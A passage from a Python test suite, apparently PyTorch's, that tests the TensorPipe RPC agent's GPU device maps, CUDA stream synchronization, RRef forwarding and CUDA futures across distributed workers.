device_map={"cpu" : 0},
fn=TensorPipeAgentCudaRpcTest._gpu_add_given_devices,
)
@skip_if_lt_x_gpu(2)
def test_device_map_cpu_to_gpu_non_default(self):
self._test_device_maps_gpu(
x_from="cpu",
y_from="cpu",
z_to=1,
device_map={"cpu" : 1},
fn=TensorPipeAgentCudaRpcTest._gpu_add_given_devices,
)
@skip_if_lt_x_gpu(1)
def test_device_map_gpu_to_cpu_default(self):
self._test_device_maps_gpu(
x_from=0,
y_from=0,
z_to="cpu",
device_map={0 : "cpu"},
fn=TensorPipeAgentCudaRpcTest._gpu_add_given_devices,
)
@skip_if_lt_x_gpu(2)
def test_device_map_gpu_to_cpu_non_default(self):
self._test_device_maps_gpu(
x_from=1,
y_from=1,
z_to="cpu",
device_map={1 : "cpu"},
fn=TensorPipeAgentCudaRpcTest._gpu_add_given_devices,
)
@skip_if_lt_x_gpu(2)
def test_device_map_gpu_default(self):
self._test_device_maps_gpu(
x_from=0,
y_from=0,
z_to=0,
device_map={0 : 0}
)
@skip_if_lt_x_gpu(2)
def test_device_map_gpu_non_default(self):
self._test_device_maps_gpu(
x_from=1,
y_from=1,
z_to=1,
device_map={1 : 1}
)
@skip_if_lt_x_gpu(2)
def test_device_map_gpu_default_to_non_default(self):
self._test_device_maps_gpu(
x_from=0,
y_from=0,
z_to=1,
device_map={0 : 1}
)
@skip_if_lt_x_gpu(2)
def test_device_map_gpu_non_default_to_default(self):
self._test_device_maps_gpu(
x_from=1,
y_from=1,
z_to=0,
device_map={1 : 0}
)
@skip_if_lt_x_gpu(2)
def test_device_map_gpu_mixed_1(self):
self._test_device_maps_gpu(
x_from=0,
y_from=1,
z_to=0,
device_map={0 : 0, 1 : 1}
)
@skip_if_lt_x_gpu(2)
def test_device_map_gpu_mixed_2(self):
self._test_device_maps_gpu(
x_from=0,
y_from=1,
z_to=1,
device_map={0 : 0, 1 : 1}
)
@skip_if_lt_x_gpu(2)
def test_device_map_gpu_mixed_3(self):
self._test_device_maps_gpu(
x_from=1,
y_from=0,
z_to=0,
device_map={0 : 0, 1 : 1}
)
@skip_if_lt_x_gpu(2)
def test_device_map_gpu_mixed_4(self):
self._test_device_maps_gpu(
x_from=1,
y_from=0,
z_to=1,
device_map={0 : 0, 1 : 1}
)
@skip_if_lt_x_gpu(2)
def test_device_map_gpu_mixed_5(self):
self._test_device_maps_gpu(
x_from=0,
y_from=1,
z_to=0,
device_map={0 : 1, 1 : 0}
)
@skip_if_lt_x_gpu(2)
def test_device_map_gpu_mixed_6(self):
self._test_device_maps_gpu(
x_from=0,
y_from=1,
z_to=1,
device_map={0 : 1, 1 : 0}
)
@skip_if_lt_x_gpu(2)
def test_device_map_gpu_mixed_7(self):
self._test_device_maps_gpu(
x_from=1,
y_from=0,
z_to=0,
device_map={0 : 1, 1 : 0}
)
@skip_if_lt_x_gpu(2)
def test_device_map_gpu_mixed_8(self):
self._test_device_maps_gpu(
x_from=1,
y_from=0,
z_to=1,
device_map={0 : 1, 1 : 0}
)
@skip_if_lt_x_gpu(2)
def test_device_map_gpu_mixed_self_1(self):
self._test_device_maps_gpu(
x_from=0,
y_from=1,
z_to=0,
device_map={0 : 0, 1 : 1},
dst=worker_name(self.rank)
)
@skip_if_lt_x_gpu(2)
def test_device_map_gpu_mixed_self_2(self):
self._test_device_maps_gpu(
x_from=0,
y_from=1,
z_to=1,
device_map={0 : 0, 1 : 1},
dst=worker_name(self.rank)
)
@skip_if_lt_x_gpu(2)
def test_device_map_gpu_mixed_self_3(self):
self._test_device_maps_gpu(
x_from=1,
y_from=0,
z_to=0,
device_map={0 : 0, 1 : 1},
dst=worker_name(self.rank)
)
@skip_if_lt_x_gpu(2)
def test_device_map_gpu_mixed_self_4(self):
self._test_device_maps_gpu(
x_from=1,
y_from=0,
z_to=1,
device_map={0 : 0, 1 : 1},
dst=worker_name(self.rank)
)
@skip_if_lt_x_gpu(2)
def test_device_map_gpu_mixed_self_5(self):
self._test_device_maps_gpu(
x_from=0,
y_from=1,
z_to=0,
device_map={0 : 1, 1 : 0},
dst=worker_name(self.rank)
)
@skip_if_lt_x_gpu(2)
def test_device_map_gpu_mixed_self_6(self):
self._test_device_maps_gpu(
x_from=0,
y_from=1,
z_to=1,
device_map={0 : 1, 1 : 0},
dst=worker_name(self.rank)
)
@skip_if_lt_x_gpu(2)
def test_device_map_gpu_mixed_self_7(self):
self._test_device_maps_gpu(
x_from=1,
y_from=0,
z_to=0,
device_map={0 : 1, 1 : 0},
dst=worker_name(self.rank)
)
@skip_if_lt_x_gpu(2)
def test_device_map_gpu_mixed_self_8(self):
self._test_device_maps_gpu(
x_from=1,
y_from=0,
z_to=1,
device_map={0 : 1, 1 : 0},
dst=worker_name(self.rank)
)
@staticmethod
def _gpu_add_multi_gpu(x, y):
if all([x.is_cuda, x.device.index == 1, y.is_cuda, y.device.index == 0]):
return x.to(0) + y, x - y.to(1)
else:
raise ValueError("Wrong device affinity")
def _test_device_maps_multi_gpu(self, dst):
options = self.rpc_backend_options
options.set_device_map(dst, {0: 1})
options.set_device_map(dst, {1: 0})
rpc.init_rpc(
name=worker_name(self.rank),
backend=self.rpc_backend,
rank=self.rank,
world_size=self.world_size,
rpc_backend_options=options,
)
x = torch.zeros(2).to(0)
y = torch.ones(2).to(1)
rets = rpc.rpc_sync(
dst,
TensorPipeAgentCudaRpcTest._gpu_add_multi_gpu,
args=(x, y)
)
self.assertEqual(rets[0].device, torch.device(1))
self.assertEqual(rets[1].device, torch.device(0))
self.assertEqual(rets[0], (torch.zeros(2) + torch.ones(2)).to(1))
self.assertEqual(rets[1], (torch.zeros(2) - torch.ones(2)).to(0))
rpc.shutdown()
@skip_if_lt_x_gpu(2)
def test_device_maps_multi_gpu(self):
dst = worker_name((self.rank + 1) % self.world_size)
self._test_device_maps_multi_gpu(dst)
@skip_if_lt_x_gpu(2)
def test_device_maps_multi_gpu_self(self):
dst = worker_name(self.rank)
self._test_device_maps_multi_gpu(dst)
@staticmethod
def _gpu_add_return_to_gpu(x, y):
if x.device.type == 'cpu' and y.device.type == 'cpu':
return (x + y).to(0), (x - y).to(1), (x * y).to(2), (x / y).to(3)
else:
raise ValueError("Wrong device affinity")
@skip_if_lt_x_gpu(2)
def test_device_maps_in_options(self):
dst = worker_name((self.rank + 1) % self.world_size)
options = self.rpc_backend_options
rpc.init_rpc(
name=worker_name(self.rank),
backend=self.rpc_backend,
rank=self.rank,
world_size=self.world_size,
rpc_backend_options=rpc.TensorPipeRpcBackendOptions(
init_method=options.init_method,
num_worker_threads=options.num_worker_threads,
device_maps={dst: {0: 1, 1: 0}}
)
)
rets = rpc.rpc_sync(
dst,
TensorPipeAgentCudaRpcTest._gpu_add_multi_gpu,
args=(torch.zeros(2).to(0), torch.ones(2).to(1))
)
self.assertEqual(rets[0].device, torch.device(1))
self.assertEqual(rets[1].device, torch.device(0))
self.assertEqual(rets[0], (torch.zeros(2) + torch.ones(2)).to(1))
self.assertEqual(rets[1], (torch.zeros(2) - torch.ones(2)).to(0))
rpc.shutdown()
def _test_device_maps_return_to_gpu(self, dst):
options = self.rpc_backend_options
options.set_device_map(dst, {0: 1})
options.set_device_map(dst, {1: 2})
options.set_device_map(dst, {2: 3})
options.set_device_map(dst, {3: 0})
rpc.init_rpc(
name=worker_name(self.rank),
backend=self.rpc_backend,
rank=self.rank,
world_size=self.world_size,
rpc_backend_options=options,
)
rets = rpc.rpc_sync(
dst,
TensorPipeAgentCudaRpcTest._gpu_add_return_to_gpu,
args=(torch.zeros(2), torch.ones(2))
)
for i in range(len(rets)):
self.assertEqual(rets[i].device, torch.device((3 + i) % 4))
self.assertEqual(rets[0], (torch.zeros(2) + torch.ones(2)).to(3))
self.assertEqual(rets[1], (torch.zeros(2) - torch.ones(2)).to(0))
self.assertEqual(rets[2], (torch.zeros(2) * torch.ones(2)).to(1))
self.assertEqual(rets[3], (torch.zeros(2) / torch.ones(2)).to(2))
rpc.shutdown()
@skip_if_lt_x_gpu(4)
def test_device_maps_return_to_gpu(self):
dst = worker_name((self.rank + 1) % self.world_size)
self._test_device_maps_return_to_gpu(dst)
@skip_if_lt_x_gpu(4)
def test_device_maps_return_to_gpu_self(self):
dst = worker_name(self.rank)
self._test_device_maps_return_to_gpu(dst)
@staticmethod
def _add_to_gpu(x, y):
return (x + y).to(0)
def _test_device_maps_missing_config(self, mode):
dst = worker_name((self.rank + 1) % self.world_size)
errMsg = (
"TensorPipe RPC backend only supports CPU tensors by default.*"
"`set_device_map` on `TensorPipeRpcBackendOptions`"
)
with self.assertRaisesRegex(RuntimeError, errMsg):
if mode == RPCExecMode.SYNC:
rpc.rpc_sync(dst, torch.add, args=(torch.zeros(2).to(0), 1))
elif mode == RPCExecMode.REMOTE:
rpc.remote(dst, torch.add, args=(torch.zeros(2).to(0), 1)).to_here()
else:
raise ValueError(f"unexpected mode {mode}")
# make sure RPC is still functioning
ret = rpc.rpc_sync(dst, torch.add, args=(torch.ones(2), 1))
self.assertEqual(ret, torch.ones(2) + 1)
def _test_device_maps_missing_config_response(self, mode):
dst = worker_name((self.rank + 1) % self.world_size)
errMsg = "Response device mapping is not available"
with self.assertRaisesRegex(RuntimeError, errMsg):
if mode == RPCExecMode.SYNC:
rpc.rpc_sync(
dst,
TensorPipeAgentCudaRpcTest._add_to_gpu,
args=(torch.zeros(2), 1)
)
elif mode == RPCExecMode.REMOTE:
rpc.remote(
dst,
TensorPipeAgentCudaRpcTest._add_to_gpu,
args=(torch.zeros(2), 1)
).to_here()
else:
raise ValueError(f"unexpected mode {mode}")
# make sure RPC is still functioning
ret = rpc.rpc_sync(dst, torch.add, args=(torch.ones(2), 1))
self.assertEqual(ret, torch.ones(2) + 1)
@skip_if_lt_x_gpu(1)
@dist_init
def test_device_maps_missing_config(self):
self._test_device_maps_missing_config(RPCExecMode.SYNC)
@skip_if_lt_x_gpu(1)
def test_device_maps_missing_config_not_timeout(self):
dst = worker_name((self.rank + 1) % self.world_size)
options = self.rpc_backend_options
rpc.init_rpc(
name=worker_name(self.rank),
backend=self.rpc_backend,
rank=self.rank,
world_size=self.world_size,
rpc_backend_options=self.rpc_backend_options
)
timeout = rpc.get_rpc_timeout()
tik = time.time()
self._test_device_maps_missing_config(RPCExecMode.SYNC)
rpc.shutdown()
tok = time.time()
self.assertTrue(tok - tik < timeout)
@skip_if_lt_x_gpu(1)
@dist_init
def test_device_maps_missing_config_loop(self):
for _ in range(self.rpc_backend_options.num_worker_threads + 5):
self._test_device_maps_missing_config(RPCExecMode.SYNC)
@skip_if_lt_x_gpu(1)
@dist_init
def test_device_maps_missing_config_response(self):
self._test_device_maps_missing_config_response(RPCExecMode.SYNC)
@skip_if_lt_x_gpu(1)
@dist_init
def test_device_maps_missing_config_response_loop(self):
for _ in range(self.rpc_backend_options.num_worker_threads + 5):
self._test_device_maps_missing_config_response(RPCExecMode.SYNC)
@skip_if_lt_x_gpu(1)
@dist_init
def test_device_maps_missing_config_remote(self):
self._test_device_maps_missing_config(RPCExecMode.REMOTE)
@skip_if_lt_x_gpu(1)
@dist_init
def test_device_maps_missing_config_remote_response(self):
self._test_device_maps_missing_config_response(RPCExecMode.REMOTE)
@skip_if_lt_x_gpu(2)
def test_device_maps_remote(self):
options = self.rpc_backend_options
dst = worker_name((self.rank + 1) % self.world_size)
options.set_device_map(dst, {1: 0})
rpc.init_rpc(
name=worker_name(self.rank),
backend=self.rpc_backend,
rank=self.rank,
world_size=self.world_size,
rpc_backend_options=options,
)
rref = rpc.remote(
dst,
TensorPipeAgentCudaRpcTest._add_to_gpu,
args=(torch.zeros(2), 1)
)
self.assertEqual(rref.to_here().device.index, 1)
self.assertEqual(rref.to_here(), torch.ones(2).to(1))
rpc.shutdown()
@staticmethod
def _slow_add_on_user_stream(x, y):
s0 = torch.cuda.current_stream(x.device)
s1 = torch.cuda.Stream(device=x.device)
s1.wait_stream(s0)
x.record_stream(s1)
y.record_stream(s1)
with torch.cuda.stream(s1):
torch.cuda._sleep(10 * FIFTY_MIL_CYCLES)
z = x + y
s0.wait_stream(s1)
z.record_stream(s0)
return z
def _test_custom_stream(self, fn, device_map):
options = self.rpc_backend_options
dst = worker_name((self.rank + 1) % self.world_size)
options.set_device_map(dst, device_map)
rpc.init_rpc(
name=worker_name(self.rank),
backend=self.rpc_backend,
rank=self.rank,
world_size=self.world_size,
rpc_backend_options=options,
)
fn(dst)
rpc.shutdown()
def _test_stream_sync(self, dst):
x = torch.ones(2, 2).to(0)
ret = rpc.rpc_sync(
dst,
TensorPipeAgentCudaRpcTest._slow_add_on_user_stream,
args=(x, x)
)
self.assertEqual(ret, 2 * x)
@skip_if_lt_x_gpu(2)
def test_custom_stream(self):
self._test_custom_stream(self._test_stream_sync, {"cuda:0": "cuda:1"})
def _test_stream_multi_async(self, dst):
futs = []
for i in range(20):
x = torch.ones(2, 2).to(0) * i
futs.append(
rpc.rpc_async(
dst,
TensorPipeAgentCudaRpcTest._slow_add_on_user_stream,
args=(x, x)
)
)
for i in range(20):
self.assertEqual(futs[i].wait(), 2 * torch.ones(2, 2).to(0) * i)
@skip_if_lt_x_gpu(2)
def test_custom_stream_multi(self):
self._test_custom_stream(
self._test_stream_multi_async,
{"cuda:0": "cuda:1"}
)
@staticmethod
def _nested_slow_add_on_user_stream(dst, x, y, z):
ret = rpc.rpc_sync(
dst,
TensorPipeAgentCudaRpcTest._slow_add_on_user_stream,
args=(x, y)
)
return TensorPipeAgentCudaRpcTest._slow_add_on_user_stream(ret, z)
def _test_stream_nested_sync(self, dst):
x = torch.ones(2, 2).to(0)
y = torch.ones(2, 2).to(0) * 2
z = torch.ones(2, 2).to(0) * 3
nested_dst = worker_name((self.rank + 2) % self.world_size)
ret = rpc.rpc_sync(
dst,
TensorPipeAgentCudaRpcTest._nested_slow_add_on_user_stream,
args=(nested_dst, x, y, z)
)
self.assertEqual(ret, 6 * x)
@skip_if_lt_x_gpu(2)
def test_custom_stream_nested(self):
self._test_custom_stream(
self._test_stream_nested_sync,
{"cuda:0": "cuda:1", "cuda:1": "cuda:0"}
)
def _test_stream_nested_multi_async(self, dst):
if self.rank == 0:
futs = []
n = 5
xs, ys, zs = [], [], []
for i in range(n):
x = torch.ones(2, 2).to(0) * (i - 1)
y = torch.ones(2, 2).to(0) * i
z = torch.ones(2, 2).to(0) * (i + 1)
xs.append(x)
ys.append(y)
zs.append(z)
nested_dst = worker_name((self.rank + 2) % self.world_size)
futs.append(
rpc.rpc_async(
dst,
TensorPipeAgentCudaRpcTest._nested_slow_add_on_user_stream,
args=(nested_dst, x, y, z)
)
)
for i in range(n):
self.assertEqual(futs[i].wait(), xs[i] + ys[i] + zs[i])
@skip_if_lt_x_gpu(2)
def test_custom_stream_nested_multi(self):
self._test_custom_stream(
self._test_stream_nested_multi_async,
{"cuda:0": "cuda:1", "cuda:1": "cuda:0"}
)
@staticmethod
def _gpu_add_wrong_gpus(x, y):
if x.is_cuda and y.is_cuda:
return x.cpu() + y.cuda()
else:
raise ValueError("Wrong device affinity")
@skip_if_lt_x_gpu(1)
def test_device_mismatch(self):
dst = worker_name((self.rank + 1) % self.world_size)
options = self.rpc_backend_options
options.set_device_map(dst, {0: 0})
rpc.init_rpc(
name=worker_name(self.rank),
backend=self.rpc_backend,
rank=self.rank,
world_size=self.world_size,
rpc_backend_options=options,
)
x = torch.zeros(2).to(0)
y = torch.ones(2).to(0)
with self.assertRaisesRegex(
RuntimeError,
"Expected all tensors to be on the same device, but found at least two devices"
):
rets = rpc.rpc_sync(
dst,
TensorPipeAgentCudaRpcTest._gpu_add_wrong_gpus,
args=(x, y)
)
rpc.shutdown()
def _test_rref_synchronization(self, local_device, remote_device):
dst = worker_name((self.rank + 1) % self.world_size)
options = self.rpc_backend_options
options.set_device_map(dst, {local_device : remote_device})
rpc.init_rpc(
name=worker_name(self.rank),
backend=self.rpc_backend,
rank=self.rank,
world_size=self.world_size,
rpc_backend_options=options,
)
if self.rank == 1:
# This test compares rref.rpc_sync().forward(x) vs rref.remote().forward(x).to_here()
# If to_here() is properly synchronized with forward(x) the results must be identical
# This test needs multiple iterations and significant batch size to simulate real
# training of a CNN of MNIST-like data.
# see https://github.com/pytorch/pytorch/issues/54771
rref = rpc.remote(dst, MyConvNetForMNIST, args=(remote_device,))
for _ in range(10):
x = torch.randn(200, 1, 28, 28).to(local_device)
actual = rref.remote().forward(x).to_here()
expected = rref.rpc_sync().forward(x)
self.assertEqual(actual, expected)
rpc.shutdown()
@skip_if_lt_x_gpu(1)
def test_rref_to_here_synchronization1(self):
self._test_rref_synchronization("cuda:0", "cuda:0")
@skip_if_lt_x_gpu(2)
def test_rref_to_here_synchronization2(self):
self._test_rref_synchronization("cuda:1", "cuda:0")
@skip_if_lt_x_gpu(2)
def test_rref_to_here_synchronization3(self):
self._test_rref_synchronization("cuda:1", "cuda:1")
@skip_if_lt_x_gpu(2)
def test_rref_to_here_synchronization4(self):
self._test_rref_synchronization("cuda:0", "cuda:1")
def _test_rref_as_arg_synchronization(
self,
local_device,
remote_device,
devicesOptions=None
):
dst = worker_name((self.rank + 1) % self.world_size)
options = self.rpc_backend_options
options.set_device_map(dst, {local_device: remote_device})
input_src = worker_name((self.rank - 1 + self.world_size) % self.world_size)
options.set_device_map(input_src, {remote_device: local_device})
if devicesOptions is not None:
options.set_devices(devicesOptions[self.rank])
rpc.init_rpc(
name=worker_name(self.rank),
backend=self.rpc_backend,
rank=self.rank,
world_size=self.world_size,
rpc_backend_options=options,
)
if self.rank == 1:
# This test compares rref.rpc_sync().forward(x) vs rref.remote().forward(x).to_here()
# If to_here() is properly synchronized with forward(x) the results must be identical
# This test needs multiple iterations and significant batch size to simulate real
# training of a CNN of MNIST-like data.
# see https://github.com/pytorch/pytorch/issues/54771
rref = rpc.remote(dst, MyConvNetForMNIST, args=(remote_device,))
for _ in range(10):
rref_x = RRef(torch.randn(200, 1, 28, 28).to(local_device))
actual = rref.remote().forward(rref_x, True).to_here()
expected = rref.rpc_sync().forward(rref_x, True)
self.assertEqual(actual, expected)
rpc.shutdown()
@skip_if_lt_x_gpu(1)
def test_rref_as_arg_synchronization1(self):
self._test_rref_as_arg_synchronization("cuda:0", "cuda:0")
@skip_if_lt_x_gpu(2)
def test_rref_as_arg_synchronization2(self):
self._test_rref_as_arg_synchronization("cuda:1", "cuda:0")
@skip_if_lt_x_gpu(2)
def test_rref_as_arg_synchronization3(self):
self._test_rref_as_arg_synchronization("cuda:1", "cuda:1")
@skip_if_lt_x_gpu(2)
def test_rref_as_arg_synchronization4(self):
self._test_rref_as_arg_synchronization("cuda:0", "cuda:1")
@skip_if_lt_x_gpu(1)
def test_rref_as_arg_synchronization5(self):
self._test_rref_as_arg_synchronization(
"cuda:0",
"cuda:0",
[["cuda:0"] for _ in range(4)], # devicesOptions
)
@staticmethod
def _rref_relay(rref):
return rref.to_here()
def _test_rref_forward_synchronization(self, local_device, remote_device):
options = self.rpc_backend_options
input_src = worker_name(0)
model_dst = worker_name(1)
out_relay = worker_name(2)
if self.rank == 0:
# for 1) model construction 2) forward execution
options.set_device_map(model_dst, {local_device: remote_device})
# Forward output will be first copied to the relay node before
# returning to the worker. This is intentional, to test RRef
# forward CUDA stream synchronizations.
options.set_device_map(out_relay, {local_device: local_device})
elif self.rank == 1:
# worker1 hosts the model and runs forward. The forward functions
# calls RRef.to_here(), hence needs to configure the device map
options.set_device_map(input_src, {remote_device: local_device})
elif self.rank == 2:
# worker2 will get the out RRef and call to_here() and hence, needs
# to configure devcie map.
options.set_device_map(model_dst, {local_device: remote_device})
rpc.init_rpc(
name=worker_name(self.rank),
backend=self.rpc_backend,
rank=self.rank,
world_size=self.world_size,
rpc_backend_options=options,
)
if self.rank == 0:
# This test compares rref.rpc_sync().forward(x) vs rref.remote().forward(x).to_here()
# If to_here() is properly synchronized with forward(x) the results must be identical
# This test needs multiple iterations and significant batch size to simulate real
# training of a CNN of MNIST-like data.
# see https://github.com/pytorch/pytorch/issues/54771
rref = rpc.remote(model_dst, MyConvNetForMNIST, args=(remote_device,))
for _ in range(10):
rref_input = RRef(torch.randn(200, 1, 28, 28).to(local_device))
rref_out = rref.remote().forward(rref_input, True)
out = rpc.remote(
out_relay,
TensorPipeAgentCudaRpcTest._rref_relay,
args=(rref_out,)
).to_here()
expected = rref.rpc_sync().forward(rref_input, True)
self.assertEqual(out, expected)
rpc.shutdown()
@skip_if_lt_x_gpu(1)
def test_rref_forward_synchronization1(self):
self._test_rref_forward_synchronization("cuda:0", "cuda:0")
@skip_if_lt_x_gpu(2)
def test_rref_forward_synchronization2(self):
self._test_rref_forward_synchronization("cuda:0", "cuda:1")
@skip_if_lt_x_gpu(2)
def test_rref_forward_synchronization3(self):
self._test_rref_forward_synchronization("cuda:1", "cuda:0")
@skip_if_lt_x_gpu(2)
def test_rref_forward_synchronization4(self):
self._test_rref_forward_synchronization("cuda:1", "cuda:1")
def _test_owner_rref_forward_synchronization(self, local_device, remote_device):
if self.rank == 0:
options = self.rpc_backend_options
options.set_device_map("w0", {local_device: remote_device})
rpc.init_rpc(
"w0",
rank=0,
world_size=1,
rpc_backend_options=options
)
model = rpc.remote(
"w0", torch.nn.Linear, (2048, 20000)
).remote().to(remote_device)
for _ in range(30):
data = torch.rand(2048, 2048).to(local_device)
output = model.rpc_sync().forward(data)
# to_here() internally calls localValue as the caller is
# the owner of the RRef.
v0 = rpc.RRef(output).remote().sum().to_here().item()
v1 = output.sum().item()
self.assertEqual(v0, v1)
rpc.shutdown()
@skip_if_lt_x_gpu(1)
def test_owner_rref_forward_synchronization1(self):
self._test_owner_rref_forward_synchronization("cuda:0", "cuda:0")
@skip_if_lt_x_gpu(2)
def test_owner_rref_forward_synchronization2(self):
self._test_owner_rref_forward_synchronization("cuda:0", "cuda:1")
@skip_if_lt_x_gpu(2)
def test_owner_rref_forward_synchronization3(self):
self._test_owner_rref_forward_synchronization("cuda:1", "cuda:0")
@skip_if_lt_x_gpu(2)
def test_owner_rref_forward_synchronization4(self):
self._test_owner_rref_forward_synchronization("cuda:1", "cuda:1")
@staticmethod
def _return_tensor_view(i):
x = torch.ones(1000, 200).cuda(0) * i
torch.cuda._sleep(10 * FIFTY_MIL_CYCLES)
# serialization of the return value will create a new tensor from the
# view, which is done outside of the user function.
return x.split(100)[0]
@skip_if_lt_x_gpu(1)
def test_tensor_view_as_return_value(self):
dst = worker_name((self.rank + 1) % self.world_size)
options = self.rpc_backend_options
options.set_device_map(dst, {0 : 0})
rpc.init_rpc(
name=worker_name(self.rank),
backend=self.rpc_backend,
rank=self.rank,
world_size=self.world_size,
rpc_backend_options=options,
)
futs = []
for i in range(5):
futs.append(rpc.rpc_async(
dst,
TensorPipeAgentCudaRpcTest._return_tensor_view,
args=(i,)
))
for i in range(5):
self.assertEqual(torch.ones(100, 200) * i, futs[i].wait())
rpc.shutdown()
@skip_if_lt_x_gpu(2)
def test_devices_option_mismatch(self):
with self.assertRaisesRegex(
ValueError,
"Node worker0 has unexpected source devices in its device map for worker1"
):
dst = worker_name((self.rank + 1) % self.world_size)
options = self.rpc_backend_options
options.set_device_map(dst, {0 : 0})
options.set_devices([1])
rpc.init_rpc(
name=worker_name(self.rank),
backend=self.rpc_backend,
rank=self.rank,
world_size=self.world_size,
rpc_backend_options=options,
)
rpc.shutdown()
@skip_if_lt_x_gpu(2)
def test_devices_option_mismatch_reverse(self):
with self.assertRaisesRegex(
ValueError,
"Node worker0 has unexpected target devices in its device map for worker1"
):
dst = worker_name((self.rank + 1) % self.world_size)
options = rpc.TensorPipeRpcBackendOptions(
init_method=self.rpc_backend_options.init_method,
num_worker_threads=self.rpc_backend_options.num_worker_threads,
device_maps={dst: {0 : 1}},
devices=[0]
)
rpc.init_rpc(
name=worker_name(self.rank),
backend=self.rpc_backend,
rank=self.rank,
world_size=self.world_size,
rpc_backend_options=options,
)
rpc.shutdown()
@skip_if_lt_x_gpu(1)
def test_cuda_future_device_as_int(self):
fut = Future(devices=[0])
@skip_if_lt_x_gpu(1)
def test_cuda_future_device_as_str(self):
fut = Future(devices=["cuda:0"])
@skip_if_lt_x_gpu(1)
def test_cuda_future_device_as_device(self):
fut = Future(devices=[torch.device("cuda", 0)])
@skip_if_lt_x_gpu(1)
def test_cuda_future_device_not_cuda(self):
with self.assertRaisesRegex(
ValueError, "Expected devices to have indices, got cpu"
):
fut = Future(devices=["cpu"])
@skip_if_lt_x_gpu(1)
def test_cuda_future_can_extract_cuda_tensor(self):
self._test_cuda_future_extraction(
wrapper=lambda t: t, unwrapper=lambda v: v, sparse_tensor=False
)
@skip_if_lt_x_gpu(1)
def test_cuda_future_can_extract_list_with_cuda_tensor(self):
self._test_cuda_future_extraction(
wrapper=lambda t: [t], unwrapper=lambda v: v[0], sparse_tensor=False
)
@skip_if_lt_x_gpu(1)
def test_cuda_future_can_extract_custom_class_with_cuda_tensor(self):
self._test_cuda_future_extraction(
wrapper=lambda t: TensorWrapper(t), unwrapper=lambda v: v.tensor, sparse_tensor=False
)
@skip_if_lt_x_gpu(2)
def test_cuda_future_callback_changes_devices(self):
# We check proper CUDA stream synchronization by filling the tensor with
# the expected value in one stream, and reading it from another stream.
tensor0 = torch.zeros((100,), device="cuda:0")
tensor1 = torch.zeros((100,), device="cuda:1")
parent_future = Future(devices=["cuda:0", "cuda:1"])
def cb(fut):
t0 = fut.value()
tensor1.copy_(t0, non_blocking=True)
return tensor1
child_future = parent_future.then(cb)
with torch.cuda.device("cuda:0"):
stream = torch.cuda.Stream()
with torch.cuda.stream(stream):
torch.cuda._sleep(int(1000 * get_cycles_per_ms()))
tensor0.fill_(1)
parent_future.set_result(tensor0)
with torch.cuda.device("cuda:1"):
another_stream = torch.cuda.Stream()
with torch.cuda.stream(another_stream):
self.assertTrue(torch.eq(child_future.wait(), 1).all().item())
@skip_if_lt_x_gpu(2)
def test_cuda_future_value_on_bad_device(self):
tensor0 = torch.zeros((100,), device="cuda:0")
tensor1 = torch.zeros((100,), device="cuda:1")
parent_future = Future(devices=["cuda:1"])
# As a plus, we test that futures still invoke callbacks even in case of
# error, and that the child futures are successful if those callbacks
# don't access the parent future.
def cb(fut):
with torch.cuda.device("cuda:1"):
torch.cuda._sleep(int(1000 * get_cycles_per_ms()))
tensor1.fill_(1)
return tensor1
child_future = parent_future.then(cb)
with torch.cuda.device("cuda:0"):
stream = torch.cuda.Stream()
with torch.cuda.stream(stream):
torch.cuda._sleep(int(1000 * get_cycles_per_ms()))
tensor0.fill_(1)
parent_future.set_result(tensor0)
with self.assertRaisesRegex(
ValueError,
r"The result contained tensors residing on device\(s\) cuda:0 "
r"which are not among the expected device\(s\) cuda:1",
):
parent_future.wait()
with torch.cuda.device("cuda:1"):
another_stream = torch.cuda.Stream()
with torch.cuda.stream(another_stream):
self.assertTrue(torch.eq(child_future.wait(), 1).all().item())
@skip_if_lt_x_gpu(1)
def test_async_execution_with_cuda_future(self):
dst = worker_name((self.rank + 1) % self.world_size)
options = self.rpc_backend_options
options.set_device_map(dst, {"cuda:0": "cuda:0"})
rpc.init_rpc(
name=worker_name(self.rank),
backend=self.rpc_backend,
rank=self.rank,
world_size=self.world_size,
rpc_backend_options=options,
)
t = torch.zeros((100,), device="cuda:0")
fut = rpc.rpc_async(dst, async_cuda_sleep_and_set_to_one, args=(t,))
another_stream = torch.cuda.Stream("cuda:0")
with torch.cuda.stream(another_stream):
self.assertTrue(torch.eq(fut.wait(), 1).all().item())
rpc.shutdown()
@skip_if_lt_x_gpu(1)
def test_async_execution_nested_with_cuda_future(self):
dst = worker_name((self.rank + 1) % self.world_size)
nested_dst = worker_name((self.rank + 2) % self.world_size)
options = self.rpc_backend_options
options.set_device_map(dst, {"cuda:0": "cuda:0"})
rpc.init_rpc(
name=worker_name(self.rank),
backend=self.rpc_backend,
rank=self.rank,
world_size=self.world_size,
rpc_backend_options=options,
)
a = torch.ones((100,), device="cuda:0")
b = torch.ones((100,), device="cuda:0")
c = torch.ones((100,), device="cuda:0")
fut = rpc.rpc_async(dst, async_cuda_nested_add, args=(nested_dst, a, b, c))
another_stream = torch.cuda.Stream("cuda:0")
with torch.cuda.stream(another_stream):
self.assertTrue(torch.eq(fut.wait(), 3).all().item())
rpc.shutdown()
@skip_if_lt_x_gpu(1)
def test_cuda_future_modify_tensor_inplace(self):
tensor = torch.zeros((100,), device="cuda:0")
future = Future(devices=["cuda:0"])
future.set_result(tensor)
# It's weird to modify the value of a future once it's complete, but
# technically possible. Currently this is considered undefined behavior
# (in practice the future will ignore the modification and still
# synchronize with the original value). We could one day add logic to
# detect and warn or throw in such cases, but for now we just check that
# this doesn't crash.
tensor.fill_(1)
future.wait()
@skip_if_lt_x_gpu(1)
def test_cuda_future_replace_tensor(self):
tensor_list = [torch.zeros((100,), device="cuda:0")]
future = Future(devices=["cuda:0"])
future.set_result(tensor_list)
# It's weird to modify the value of a future once it's complete, but
# technically possible. Currently this is considered undefined behavior
# (in practice the future will ignore the modification and still
# synchronize with the original value). We could one day add logic to
# detect and warn or throw in such cases, but for now we just check that
# this doesn't crash.
# We set things up so that the original tensor contained in the list
# gets deleted once we replace it with the other one. This will
# invalidate any cached information held by the future.
tensor_list[0] = torch.ones((100,), device="cuda:0")
future.wait()
@skip_if_lt_x_gpu(1)
def test_rref_with_unpickleable_attributes(self):
dst = worker_name((self.rank + 1) % self.world_size)
options = self.rpc_backend_options
options.set_device_map(dst, {"cuda:0": "cuda:0"})
rpc.init_rpc(
name=worker_name(self.rank),
backend=self.rpc_backend,
rank=self.rank,
world_size=self.world_size,
rpc_backend_options=options,
)
rref = rpc.remote(dst, TensorWrapper, args=(torch.zeros(42, device="cuda:0"),))
rref.rpc_sync().increase(1)
ret = rref.rpc_sync().sum()
